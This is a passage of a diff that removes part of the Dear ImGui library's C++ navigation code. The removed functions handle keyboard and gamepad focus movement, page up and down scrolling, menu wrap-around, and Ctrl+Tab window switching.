NAV_MAP_KEY(ImGuiKey_Space, ImGuiNavInput_Activate ); - NAV_MAP_KEY(ImGuiKey_Enter, ImGuiNavInput_Input ); - NAV_MAP_KEY(ImGuiKey_Escape, ImGuiNavInput_Cancel ); - NAV_MAP_KEY(ImGuiKey_LeftArrow, ImGuiNavInput_KeyLeft_ ); - NAV_MAP_KEY(ImGuiKey_RightArrow,ImGuiNavInput_KeyRight_); - NAV_MAP_KEY(ImGuiKey_UpArrow, ImGuiNavInput_KeyUp_ ); - NAV_MAP_KEY(ImGuiKey_DownArrow, ImGuiNavInput_KeyDown_ ); - if (io.KeyCtrl) - io.NavInputs[ImGuiNavInput_TweakSlow] = 1.0f; - if (io.KeyShift) - io.NavInputs[ImGuiNavInput_TweakFast] = 1.0f; - if (io.KeyAlt && !io.KeyCtrl) // AltGR is Alt+Ctrl, also even on keyboards without AltGR we don't want Alt+Ctrl to open menu. - io.NavInputs[ImGuiNavInput_KeyMenu_] = 1.0f; - #undef NAV_MAP_KEY - } - memcpy(io.NavInputsDownDurationPrev, io.NavInputsDownDuration, sizeof(io.NavInputsDownDuration)); - for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) - io.NavInputsDownDuration[i] = (io.NavInputs[i] > 0.0f) ? (io.NavInputsDownDuration[i] < 0.0f ? 0.0f : io.NavInputsDownDuration[i] + io.DeltaTime) : -1.0f; - - // Process navigation init request (select first/default focus) - if (g.NavInitResultId != 0) - NavUpdateInitResult(); - g.NavInitRequest = false; - g.NavInitRequestFromMove = false; - g.NavInitResultId = 0; - g.NavJustMovedToId = 0; - - // Process navigation move request - if (g.NavMoveRequest) - NavUpdateMoveResult(); - - // When a forwarded move request failed, we restore the highlight that we disabled during the forward frame - if (g.NavMoveRequestForward == ImGuiNavForward_ForwardActive) - { - IM_ASSERT(g.NavMoveRequest); - if (g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0) - g.NavDisableHighlight = false; - g.NavMoveRequestForward = ImGuiNavForward_None; - } - - // Apply application mouse position movement, after we had a chance to process move request result. - if (g.NavMousePosDirty && g.NavIdIsAlive) - { - // Set mouse position given our knowledge of the navigated item position from last frame - if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) && (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos)) - if (!g.NavDisableHighlight && g.NavDisableMouseHover && g.NavWindow) - { - io.MousePos = io.MousePosPrev = NavCalcPreferredRefPos(); - io.WantSetMousePos = true; - } - g.NavMousePosDirty = false; - } - g.NavIdIsAlive = false; - g.NavJustTabbedId = 0; - IM_ASSERT(g.NavLayer == 0 || g.NavLayer == 1); - - // Store our return window (for returning from Layer 1 to Layer 0) and clear it as soon as we step back in our own Layer 0 - if (g.NavWindow) - NavSaveLastChildNavWindowIntoParent(g.NavWindow); - if (g.NavWindow && g.NavWindow->NavLastChildNavWindow != NULL && g.NavLayer == ImGuiNavLayer_Main) - g.NavWindow->NavLastChildNavWindow = NULL; - - // Update CTRL+TAB and Windowing features (hold Square to move/resize/etc.) - NavUpdateWindowing(); - - // Set output flags for user application - io.NavActive = (nav_keyboard_active || nav_gamepad_active) && g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs); - io.NavVisible = (io.NavActive && g.NavId != 0 && !g.NavDisableHighlight) || (g.NavWindowingTarget != NULL); - - // Process NavCancel input (to close a popup, get back to parent, clear focus) - if (IsNavInputTest(ImGuiNavInput_Cancel, ImGuiInputReadMode_Pressed)) - { - IMGUI_DEBUG_LOG_NAV("[nav] ImGuiNavInput_Cancel\n"); - if (g.ActiveId != 0) - { - if (!IsActiveIdUsingNavInput(ImGuiNavInput_Cancel)) - ClearActiveID(); - } - else if (g.NavWindow && g.NavWindow != g.NavWindow->RootWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_Popup) && g.NavWindow->ParentWindow) - { - // Exit child window - ImGuiWindow* child_window = g.NavWindow; - ImGuiWindow* parent_window = g.NavWindow->ParentWindow; - IM_ASSERT(child_window->ChildId != 0); - ImRect child_rect = child_window->Rect(); - FocusWindow(parent_window); - SetNavID(child_window->ChildId, ImGuiNavLayer_Main, 0, ImRect(child_rect.Min - parent_window->Pos, child_rect.Max - parent_window->Pos)); - } - else if (g.OpenPopupStack.Size > 0) - { - // Close open popup/menu - if (!(g.OpenPopupStack.back().Window->Flags & ImGuiWindowFlags_Modal)) - ClosePopupToLevel(g.OpenPopupStack.Size - 1, true); - } - else if (g.NavLayer != ImGuiNavLayer_Main) - { - // Leave the "menu" layer - NavRestoreLayer(ImGuiNavLayer_Main); - } - else - { - // Clear NavLastId for popups but keep it for regular child window so we can leave one and come back where we were - if (g.NavWindow && ((g.NavWindow->Flags & ImGuiWindowFlags_Popup) || !(g.NavWindow->Flags & ImGuiWindowFlags_ChildWindow))) - g.NavWindow->NavLastIds[0] = 0; - g.NavId = g.NavFocusScopeId = 0; - } - } - - // Process manual activation request - g.NavActivateId = g.NavActivateDownId = g.NavActivatePressedId = g.NavInputId = 0; - if (g.NavId != 0 && !g.NavDisableHighlight && !g.NavWindowingTarget && g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) - { - bool activate_down = IsNavInputDown(ImGuiNavInput_Activate); - bool activate_pressed = activate_down && IsNavInputTest(ImGuiNavInput_Activate, ImGuiInputReadMode_Pressed); - if (g.ActiveId == 0 && activate_pressed) - g.NavActivateId = g.NavId; - if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && activate_down) - g.NavActivateDownId = g.NavId; - if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && activate_pressed) - g.NavActivatePressedId = g.NavId; - if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && IsNavInputTest(ImGuiNavInput_Input, ImGuiInputReadMode_Pressed)) - g.NavInputId = g.NavId; - } - if (g.NavWindow && (g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) - g.NavDisableHighlight = true; - if (g.NavActivateId != 0) - IM_ASSERT(g.NavActivateDownId == g.NavActivateId); - g.NavMoveRequest = false; - - // Process programmatic activation request - if (g.NavNextActivateId != 0) - g.NavActivateId = g.NavActivateDownId = g.NavActivatePressedId = g.NavInputId = g.NavNextActivateId; - g.NavNextActivateId = 0; - - // Initiate directional inputs request - if (g.NavMoveRequestForward == ImGuiNavForward_None) - { - g.NavMoveDir = ImGuiDir_None; - g.NavMoveRequestFlags = ImGuiNavMoveFlags_None; - if (g.NavWindow && !g.NavWindowingTarget && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) - { - const ImGuiInputReadMode read_mode = ImGuiInputReadMode_Repeat; - if (!IsActiveIdUsingNavDir(ImGuiDir_Left) && (IsNavInputTest(ImGuiNavInput_DpadLeft, read_mode) || IsNavInputTest(ImGuiNavInput_KeyLeft_, read_mode))) { g.NavMoveDir = ImGuiDir_Left; } - if (!IsActiveIdUsingNavDir(ImGuiDir_Right) && (IsNavInputTest(ImGuiNavInput_DpadRight, read_mode) || IsNavInputTest(ImGuiNavInput_KeyRight_, read_mode))) { g.NavMoveDir = ImGuiDir_Right; } - if (!IsActiveIdUsingNavDir(ImGuiDir_Up) && (IsNavInputTest(ImGuiNavInput_DpadUp, read_mode) || IsNavInputTest(ImGuiNavInput_KeyUp_, read_mode))) { g.NavMoveDir = ImGuiDir_Up; } - if (!IsActiveIdUsingNavDir(ImGuiDir_Down) && (IsNavInputTest(ImGuiNavInput_DpadDown, read_mode) || IsNavInputTest(ImGuiNavInput_KeyDown_, read_mode))) { g.NavMoveDir = ImGuiDir_Down; } - } - g.NavMoveClipDir = g.NavMoveDir; - } - else - { - // Forwarding previous request (which has been modified, e.g. wrap around menus rewrite the requests with a starting rectangle at the other side of the window) - // (Preserve g.NavMoveRequestFlags, g.NavMoveClipDir which were set by the NavMoveRequestForward() function) - IM_ASSERT(g.NavMoveDir != ImGuiDir_None && g.NavMoveClipDir != ImGuiDir_None); - IM_ASSERT(g.NavMoveRequestForward == ImGuiNavForward_ForwardQueued); - IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequestForward %d\n", g.NavMoveDir); - g.NavMoveRequestForward = ImGuiNavForward_ForwardActive; - } - - // Update PageUp/PageDown/Home/End scroll - // FIXME-NAV: Consider enabling those keys even without the master ImGuiConfigFlags_NavEnableKeyboard flag? - float nav_scoring_rect_offset_y = 0.0f; - if (nav_keyboard_active) - nav_scoring_rect_offset_y = NavUpdatePageUpPageDown(); - - // If we initiate a movement request and have no current NavId, we initiate a InitDefautRequest that will be used as a fallback if the direction fails to find a match - if (g.NavMoveDir != ImGuiDir_None) - { - g.NavMoveRequest = true; - g.NavMoveRequestKeyMods = io.KeyMods; - g.NavMoveDirLast = g.NavMoveDir; - } - if (g.NavMoveRequest && g.NavId == 0) - { - IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: from move, window \"%s\", layer=%d\n", g.NavWindow->Name, g.NavLayer); - g.NavInitRequest = g.NavInitRequestFromMove = true; - // Reassigning with same value, we're being explicit here. - g.NavInitResultId = 0; // -V1048 - g.NavDisableHighlight = false; - } - NavUpdateAnyRequestFlag(); - - // Scrolling - if (g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) && !g.NavWindowingTarget) - { - // *Fallback* manual-scroll with Nav directional keys when window has no navigable item - ImGuiWindow* window = g.NavWindow; - const float scroll_speed = IM_ROUND(window->CalcFontSize() * 100 * io.DeltaTime); // We need round the scrolling speed because sub-pixel scroll isn't reliably supported. - if (window->DC.NavLayerActiveMask == 0x00 && window->DC.NavHasScroll && g.NavMoveRequest) - { - if (g.NavMoveDir == ImGuiDir_Left || g.NavMoveDir == ImGuiDir_Right) - SetScrollX(window, ImFloor(window->Scroll.x + ((g.NavMoveDir == ImGuiDir_Left) ? -1.0f : +1.0f) * scroll_speed)); - if (g.NavMoveDir == ImGuiDir_Up || g.NavMoveDir == ImGuiDir_Down) - SetScrollY(window, ImFloor(window->Scroll.y + ((g.NavMoveDir == ImGuiDir_Up) ? -1.0f : +1.0f) * scroll_speed)); - } - - // *Normal* Manual scroll with NavScrollXXX keys - // Next movement request will clamp the NavId reference rectangle to the visible area, so navigation will resume within those bounds. - ImVec2 scroll_dir = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadLStick, ImGuiInputReadMode_Down, 1.0f / 10.0f, 10.0f); - if (scroll_dir.x != 0.0f && window->ScrollbarX) - SetScrollX(window, ImFloor(window->Scroll.x + scroll_dir.x * scroll_speed)); - if (scroll_dir.y != 0.0f) - SetScrollY(window, ImFloor(window->Scroll.y + scroll_dir.y * scroll_speed)); - } - - // Reset search results - g.NavMoveResultLocal.Clear(); - g.NavMoveResultLocalVisibleSet.Clear(); - g.NavMoveResultOther.Clear(); - - // When using gamepad, we project the reference nav bounding box into window visible area. - // This is to allow resuming navigation inside the visible area after doing a large amount of scrolling, since with gamepad every movements are relative - // (can't focus a visible object like we can with the mouse). - if (g.NavMoveRequest && g.NavInputSource == ImGuiInputSource_Gamepad && g.NavLayer == ImGuiNavLayer_Main) - { - ImGuiWindow* window = g.NavWindow; - ImRect window_rect_rel(window->InnerRect.Min - window->Pos - ImVec2(1, 1), window->InnerRect.Max - window->Pos + ImVec2(1, 1)); - if (!window_rect_rel.Contains(window->NavRectRel[g.NavLayer])) - { - IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequest: clamp NavRectRel\n"); - float pad = window->CalcFontSize() * 0.5f; - window_rect_rel.Expand(ImVec2(-ImMin(window_rect_rel.GetWidth(), pad), -ImMin(window_rect_rel.GetHeight(), pad))); // Terrible approximation for the intent of starting navigation from first fully visible item - window->NavRectRel[g.NavLayer].ClipWithFull(window_rect_rel); - g.NavId = g.NavFocusScopeId = 0; - } - } - - // For scoring we use a single segment on the left side our current item bounding box (not touching the edge to avoid box overlap with zero-spaced items) - ImRect nav_rect_rel = g.NavWindow && !g.NavWindow->NavRectRel[g.NavLayer].IsInverted() ? g.NavWindow->NavRectRel[g.NavLayer] : ImRect(0, 0, 0, 0); - g.NavScoringRect = g.NavWindow ? ImRect(g.NavWindow->Pos + nav_rect_rel.Min, g.NavWindow->Pos + nav_rect_rel.Max) : ImRect(0, 0, 0, 0); - g.NavScoringRect.TranslateY(nav_scoring_rect_offset_y); - g.NavScoringRect.Min.x = ImMin(g.NavScoringRect.Min.x + 1.0f, g.NavScoringRect.Max.x); - g.NavScoringRect.Max.x = g.NavScoringRect.Min.x; - IM_ASSERT(!g.NavScoringRect.IsInverted()); // Ensure if we have a finite, non-inverted bounding box here will allows us to remove extraneous ImFabs() calls in NavScoreItem(). - //GetForegroundDrawList()->AddRect(g.NavScoringRectScreen.Min, g.NavScoringRectScreen.Max, IM_COL32(255,200,0,255)); // [DEBUG] - g.NavScoringCount = 0; -#if IMGUI_DEBUG_NAV_RECTS - if (g.NavWindow) - { - ImDrawList* draw_list = GetForegroundDrawList(g.NavWindow); - if (1) { for (int layer = 0; layer < 2; layer++) draw_list->AddRect(g.NavWindow->Pos + g.NavWindow->NavRectRel[layer].Min, g.NavWindow->Pos + g.NavWindow->NavRectRel[layer].Max, IM_COL32(255,200,0,255)); } // [DEBUG] - if (1) { ImU32 col = (!g.NavWindow->Hidden) ? IM_COL32(255,0,255,255) : IM_COL32(255,0,0,255); ImVec2 p = NavCalcPreferredRefPos(); char buf[32]; ImFormatString(buf, 32, "%d", g.NavLayer); draw_list->AddCircleFilled(p, 3.0f, col); draw_list->AddText(NULL, 13.0f, p + ImVec2(8,-4), col, buf); } - } -#endif -} - -static void ImGui::NavUpdateInitResult() -{ - // In very rare cases g.NavWindow may be null (e.g. clearing focus after requesting an init request, which does happen when releasing Alt while clicking on void) - ImGuiContext& g = *GImGui; - if (!g.NavWindow) - return; - - // Apply result from previous navigation init request (will typically select the first item, unless SetItemDefaultFocus() has been called) - IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: result NavID 0x%08X in Layer %d Window \"%s\"\n", g.NavInitResultId, g.NavLayer, g.NavWindow->Name); - SetNavID(g.NavInitResultId, g.NavLayer, 0, g.NavInitResultRectRel); - if (g.NavInitRequestFromMove) - { - g.NavDisableHighlight = false; - g.NavDisableMouseHover = g.NavMousePosDirty = true; - } -} - -// Apply result from previous frame navigation directional move request -static void ImGui::NavUpdateMoveResult() -{ - ImGuiContext& g = *GImGui; - if (g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0) - { - // In a situation when there is no results but NavId != 0, re-enable the Navigation highlight (because g.NavId is not considered as a possible result) - if (g.NavId != 0) - { - g.NavDisableHighlight = false; - g.NavDisableMouseHover = true; - } - return; - } - - // Select which result to use - ImGuiNavMoveResult* result = (g.NavMoveResultLocal.ID != 0) ? &g.NavMoveResultLocal : &g.NavMoveResultOther; - - // PageUp/PageDown behavior first jumps to the bottom/top mostly visible item, _otherwise_ use the result from the previous/next page. - if (g.NavMoveRequestFlags & ImGuiNavMoveFlags_AlsoScoreVisibleSet) - if (g.NavMoveResultLocalVisibleSet.ID != 0 && g.NavMoveResultLocalVisibleSet.ID != g.NavId) - result = &g.NavMoveResultLocalVisibleSet; - - // Maybe entering a flattened child from the outside? In this case solve the tie using the regular scoring rules. - if (result != &g.NavMoveResultOther && g.NavMoveResultOther.ID != 0 && g.NavMoveResultOther.Window->ParentWindow == g.NavWindow) - if ((g.NavMoveResultOther.DistBox < result->DistBox) || (g.NavMoveResultOther.DistBox == result->DistBox && g.NavMoveResultOther.DistCenter < result->DistCenter)) - result = &g.NavMoveResultOther; - IM_ASSERT(g.NavWindow && result->Window); - - // Scroll to keep newly navigated item fully into view. - if (g.NavLayer == ImGuiNavLayer_Main) - { - ImVec2 delta_scroll; - if (g.NavMoveRequestFlags & ImGuiNavMoveFlags_ScrollToEdge) - { - float scroll_target = (g.NavMoveDir == ImGuiDir_Up) ? result->Window->ScrollMax.y : 0.0f; - delta_scroll.y = result->Window->Scroll.y - scroll_target; - SetScrollY(result->Window, scroll_target); - } - else - { - ImRect rect_abs = ImRect(result->RectRel.Min + result->Window->Pos, result->RectRel.Max + result->Window->Pos); - delta_scroll = ScrollToBringRectIntoView(result->Window, rect_abs); - } - - // Offset our result position so mouse position can be applied immediately after in NavUpdate() - result->RectRel.TranslateX(-delta_scroll.x); - result->RectRel.TranslateY(-delta_scroll.y); - } - - ClearActiveID(); - g.NavWindow = result->Window; - if (g.NavId != result->ID) - { - // Don't set NavJustMovedToId if just landed on the same spot (which may happen with ImGuiNavMoveFlags_AllowCurrentNavId) - g.NavJustMovedToId = result->ID; - g.NavJustMovedToFocusScopeId = result->FocusScopeId; - g.NavJustMovedToKeyMods = g.NavMoveRequestKeyMods; - } - IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequest: result NavID 0x%08X in Layer %d Window \"%s\"\n", result->ID, g.NavLayer, g.NavWindow->Name); - SetNavID(result->ID, g.NavLayer, result->FocusScopeId, result->RectRel); - g.NavDisableHighlight = false; - g.NavDisableMouseHover = g.NavMousePosDirty = true; -} - -// Handle PageUp/PageDown/Home/End keys -static float ImGui::NavUpdatePageUpPageDown() -{ - ImGuiContext& g = *GImGui; - ImGuiIO& io = g.IO; - - if (g.NavMoveDir != ImGuiDir_None || g.NavWindow == NULL) - return 0.0f; - if ((g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) || g.NavWindowingTarget != NULL || g.NavLayer != ImGuiNavLayer_Main) - return 0.0f; - - ImGuiWindow* window = g.NavWindow; - const bool page_up_held = IsKeyDown(io.KeyMap[ImGuiKey_PageUp]) && !IsActiveIdUsingKey(ImGuiKey_PageUp); - const bool page_down_held = IsKeyDown(io.KeyMap[ImGuiKey_PageDown]) && !IsActiveIdUsingKey(ImGuiKey_PageDown); - const bool home_pressed = IsKeyPressed(io.KeyMap[ImGuiKey_Home]) && !IsActiveIdUsingKey(ImGuiKey_Home); - const bool end_pressed = IsKeyPressed(io.KeyMap[ImGuiKey_End]) && !IsActiveIdUsingKey(ImGuiKey_End); - if (page_up_held != page_down_held || home_pressed != end_pressed) // If either (not both) are pressed - { - if (window->DC.NavLayerActiveMask == 0x00 && window->DC.NavHasScroll) - { - // Fallback manual-scroll when window has no navigable item - if (IsKeyPressed(io.KeyMap[ImGuiKey_PageUp], true)) - SetScrollY(window, window->Scroll.y - window->InnerRect.GetHeight()); - else if (IsKeyPressed(io.KeyMap[ImGuiKey_PageDown], true)) - SetScrollY(window, window->Scroll.y + window->InnerRect.GetHeight()); - else if (home_pressed) - SetScrollY(window, 0.0f); - else if (end_pressed) - SetScrollY(window, window->ScrollMax.y); - } - else - { - ImRect& nav_rect_rel = window->NavRectRel[g.NavLayer]; - const float page_offset_y = ImMax(0.0f, window->InnerRect.GetHeight() - window->CalcFontSize() * 1.0f + nav_rect_rel.GetHeight()); - float nav_scoring_rect_offset_y = 0.0f; - if (IsKeyPressed(io.KeyMap[ImGuiKey_PageUp], true)) - { - nav_scoring_rect_offset_y = -page_offset_y; - g.NavMoveDir = ImGuiDir_Down; // Because our scoring rect is offset up, we request the down direction (so we can always land on the last item) - g.NavMoveClipDir = ImGuiDir_Up; - g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_AlsoScoreVisibleSet; - } - else if (IsKeyPressed(io.KeyMap[ImGuiKey_PageDown], true)) - { - nav_scoring_rect_offset_y = +page_offset_y; - g.NavMoveDir = ImGuiDir_Up; // Because our scoring rect is offset down, we request the up direction (so we can always land on the last item) - g.NavMoveClipDir = ImGuiDir_Down; - g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_AlsoScoreVisibleSet; - } - else if (home_pressed) - { - // FIXME-NAV: handling of Home/End is assuming that the top/bottom most item will be visible with Scroll.y == 0/ScrollMax.y - // Scrolling will be handled via the ImGuiNavMoveFlags_ScrollToEdge flag, we don't scroll immediately to avoid scrolling happening before nav result. - // Preserve current horizontal position if we have any. - nav_rect_rel.Min.y = nav_rect_rel.Max.y = -window->Scroll.y; - if (nav_rect_rel.IsInverted()) - nav_rect_rel.Min.x = nav_rect_rel.Max.x = 0.0f; - g.NavMoveDir = ImGuiDir_Down; - g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_ScrollToEdge; - } - else if (end_pressed) - { - nav_rect_rel.Min.y = nav_rect_rel.Max.y = window->ScrollMax.y + window->SizeFull.y - window->Scroll.y; - if (nav_rect_rel.IsInverted()) - nav_rect_rel.Min.x = nav_rect_rel.Max.x = 0.0f; - g.NavMoveDir = ImGuiDir_Up; - g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_ScrollToEdge; - } - return nav_scoring_rect_offset_y; - } - } - return 0.0f; -} - -static void ImGui::NavEndFrame() -{ - ImGuiContext& g = *GImGui; - - // Show CTRL+TAB list window - if (g.NavWindowingTarget != NULL) - NavUpdateWindowingOverlay(); - - // Perform wrap-around in menus - ImGuiWindow* window = g.NavWrapRequestWindow; - ImGuiNavMoveFlags move_flags = g.NavWrapRequestFlags; - if (window != NULL && g.NavWindow == window && NavMoveRequestButNoResultYet() && g.NavMoveRequestForward == ImGuiNavForward_None && g.NavLayer == ImGuiNavLayer_Main) - { - IM_ASSERT(move_flags != 0); // No points calling this with no wrapping - ImRect bb_rel = window->NavRectRel[0]; - - ImGuiDir clip_dir = g.NavMoveDir; - if (g.NavMoveDir == ImGuiDir_Left && (move_flags & (ImGuiNavMoveFlags_WrapX | ImGuiNavMoveFlags_LoopX))) - { - bb_rel.Min.x = bb_rel.Max.x = - ImMax(window->SizeFull.x, window->ContentSize.x + window->WindowPadding.x * 2.0f) - window->Scroll.x; - if (move_flags & ImGuiNavMoveFlags_WrapX) - { - bb_rel.TranslateY(-bb_rel.GetHeight()); - clip_dir = ImGuiDir_Up; - } - NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); - } - if (g.NavMoveDir == ImGuiDir_Right && (move_flags & (ImGuiNavMoveFlags_WrapX | ImGuiNavMoveFlags_LoopX))) - { - bb_rel.Min.x = bb_rel.Max.x = -window->Scroll.x; - if (move_flags & ImGuiNavMoveFlags_WrapX) - { - bb_rel.TranslateY(+bb_rel.GetHeight()); - clip_dir = ImGuiDir_Down; - } - NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); - } - if (g.NavMoveDir == ImGuiDir_Up && (move_flags & (ImGuiNavMoveFlags_WrapY | ImGuiNavMoveFlags_LoopY))) - { - bb_rel.Min.y = bb_rel.Max.y = - ImMax(window->SizeFull.y, window->ContentSize.y + window->WindowPadding.y * 2.0f) - window->Scroll.y; - if (move_flags & ImGuiNavMoveFlags_WrapY) - { - bb_rel.TranslateX(-bb_rel.GetWidth()); - clip_dir = ImGuiDir_Left; - } - NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); - } - if (g.NavMoveDir == ImGuiDir_Down && (move_flags & (ImGuiNavMoveFlags_WrapY | ImGuiNavMoveFlags_LoopY))) - { - bb_rel.Min.y = bb_rel.Max.y = -window->Scroll.y; - if (move_flags & ImGuiNavMoveFlags_WrapY) - { - bb_rel.TranslateX(+bb_rel.GetWidth()); - clip_dir = ImGuiDir_Right; - } - NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); - } - } -} - -static int ImGui::FindWindowFocusIndex(ImGuiWindow* window) // FIXME-OPT O(N) -{ - ImGuiContext& g = *GImGui; - for (int i = g.WindowsFocusOrder.Size - 1; i >= 0; i--) - if (g.WindowsFocusOrder[i] == window) - return i; - return -1; -} - -static ImGuiWindow* FindWindowNavFocusable(int i_start, int i_stop, int dir) // FIXME-OPT O(N) -{ - ImGuiContext& g = *GImGui; - for (int i = i_start; i >= 0 && i < g.WindowsFocusOrder.Size && i != i_stop; i += dir) - if (ImGui::IsWindowNavFocusable(g.WindowsFocusOrder[i])) - return g.WindowsFocusOrder[i]; - return NULL; -} - -static void NavUpdateWindowingHighlightWindow(int focus_change_dir) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.NavWindowingTarget); - if (g.NavWindowingTarget->Flags & ImGuiWindowFlags_Modal) - return; - - const int i_current = ImGui::FindWindowFocusIndex(g.NavWindowingTarget); - ImGuiWindow* window_target = FindWindowNavFocusable(i_current + focus_change_dir, -INT_MAX, focus_change_dir); - if (!window_target) - window_target = FindWindowNavFocusable((focus_change_dir < 0) ? (g.WindowsFocusOrder.Size - 1) : 0, i_current, focus_change_dir); - if (window_target) // Don't reset windowing target if there's a single window in the list - g.NavWindowingTarget = g.NavWindowingTargetAnim = window_target; - g.NavWindowingToggleLayer = false; -} - -// Windowing management mode -// Keyboard: CTRL+Tab (change focus/move/resize), Alt (toggle menu layer) -// Gamepad: Hold Menu/Square (change focus/move/resize), Tap Menu/Square (toggle menu layer) -static void ImGui::NavUpdateWindowing() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* apply_focus_window = NULL; - bool apply_toggle_layer = false; - - ImGuiWindow* modal_window = GetTopMostPopupModal(); - bool allow_windowing = (modal_window == NULL); - if (!allow_windowing) - g.NavWindowingTarget = NULL; - - // Fade out - if (g.NavWindowingTargetAnim && g.NavWindowingTarget == NULL) - { - g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha - g.IO.DeltaTime * 10.0f, 0.0f); - if (g.DimBgRatio <= 0.0f && g.NavWindowingHighlightAlpha <= 0.0f) - g.NavWindowingTargetAnim = NULL; - } - - // Start CTRL-TAB or Square+L/R window selection - bool start_windowing_with_gamepad = allow_windowing && !g.NavWindowingTarget && IsNavInputTest(ImGuiNavInput_Menu, ImGuiInputReadMode_Pressed); - bool start_windowing_with_keyboard = allow_windowing && !g.NavWindowingTarget && g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_Tab) && (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard); - if (start_windowing_with_gamepad || start_windowing_with_keyboard) - if (ImGuiWindow* window = g.NavWindow ? g.NavWindow : FindWindowNavFocusable(g.WindowsFocusOrder.Size - 1, -INT_MAX, -1)) - { - g.NavWindowingTarget = g.NavWindowingTargetAnim = window->RootWindow; // FIXME-DOCK: Will need to use RootWindowDockStop - g.NavWindowingTimer = g.NavWindowingHighlightAlpha = 0.0f; - g.NavWindowingToggleLayer = start_windowing_with_keyboard ? false : true; - g.NavInputSource = start_windowing_with_keyboard ? ImGuiInputSource_Keyboard : ImGuiInputSource_Gamepad; - } - - // Gamepad update - g.NavWindowingTimer += g.IO.DeltaTime; - if (g.NavWindowingTarget && g.NavInputSource == ImGuiInputSource_Gamepad) - { - // Highlight only appears after a brief time holding the button, so that a fast tap on PadMenu (to toggle NavLayer) doesn't add visual noise - g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha, ImSaturate((g.NavWindowingTimer - NAV_WINDOWING_HIGHLIGHT_DELAY) / 0.05f)); - - // Select window to focus - const int focus_change_dir = (int)IsNavInputTest(ImGuiNavInput_FocusPrev, ImGuiInputReadMode_RepeatSlow) - (int)IsNavInputTest(ImGuiNavInput_FocusNext, ImGuiInputReadMode_RepeatSlow); - if (focus_change_dir != 0) - { - NavUpdateWindowingHighlightWindow(focus_change_dir); - g.NavWindowingHighlightAlpha = 1.0f; - } - - // Single press toggles NavLayer, long press with L/R apply actual focus on release (until then the window was merely rendered top-most) - if (!IsNavInputDown(ImGuiNavInput_Menu)) - { - g.NavWindowingToggleLayer &= (g.NavWindowingHighlightAlpha < 1.0f); // Once button was held long enough we don't consider it a tap-to-toggle-layer press anymore. - if (g.NavWindowingToggleLayer && g.NavWindow) - apply_toggle_layer = true; - else if (!g.NavWindowingToggleLayer) - apply_focus_window = g.NavWindowingTarget; - g.NavWindowingTarget = NULL; - } - } - - // Keyboard: Focus - if (g.NavWindowingTarget && g.NavInputSource == ImGuiInputSource_Keyboard) - { - // Visuals only appears after a brief time after pressing TAB the first time, so that a fast CTRL+TAB doesn't add visual noise - g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha, ImSaturate((g.NavWindowingTimer - NAV_WINDOWING_HIGHLIGHT_DELAY) / 0.05f)); // 1.0f - if (IsKeyPressedMap(ImGuiKey_Tab, true)) - NavUpdateWindowingHighlightWindow(g.IO.KeyShift ? +1 : -1); - if (!g.IO.KeyCtrl) - apply_focus_window = g.NavWindowingTarget; - } - - // Keyboard: Press and Release ALT to toggle menu layer - // FIXME: We lack an explicit IO variable for "is the imgui window focused", so compare mouse validity to detect the common case of backend clearing releases all keys on ALT-TAB - if (IsNavInputTest(ImGuiNavInput_KeyMenu_, ImGuiInputReadMode_Pressed)) - g.NavWindowingToggleLayer = true; - if ((g.ActiveId == 0 || g.ActiveIdAllowOverlap) && g.NavWindowingToggleLayer && IsNavInputTest(ImGuiNavInput_KeyMenu_, ImGuiInputReadMode_Released)) - if (IsMousePosValid(&g.IO.MousePos) == IsMousePosValid(&g.IO.MousePosPrev)) - apply_toggle_layer = true; - - // Move window - if (g.NavWindowingTarget && !(g.NavWindowingTarget->Flags & ImGuiWindowFlags_NoMove)) - { - ImVec2 move_delta; - if (g.NavInputSource == ImGuiInputSource_Keyboard && !g.IO.KeyShift) - move_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard, ImGuiInputReadMode_Down); - if (g.NavInputSource == ImGuiInputSource_Gamepad) - move_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadLStick, ImGuiInputReadMode_Down); - if (move_delta.x != 0.0f || move_delta.y != 0.0f) - { - const float NAV_MOVE_SPEED = 800.0f; - const float move_speed = ImFloor(NAV_MOVE_SPEED * g.IO.DeltaTime * 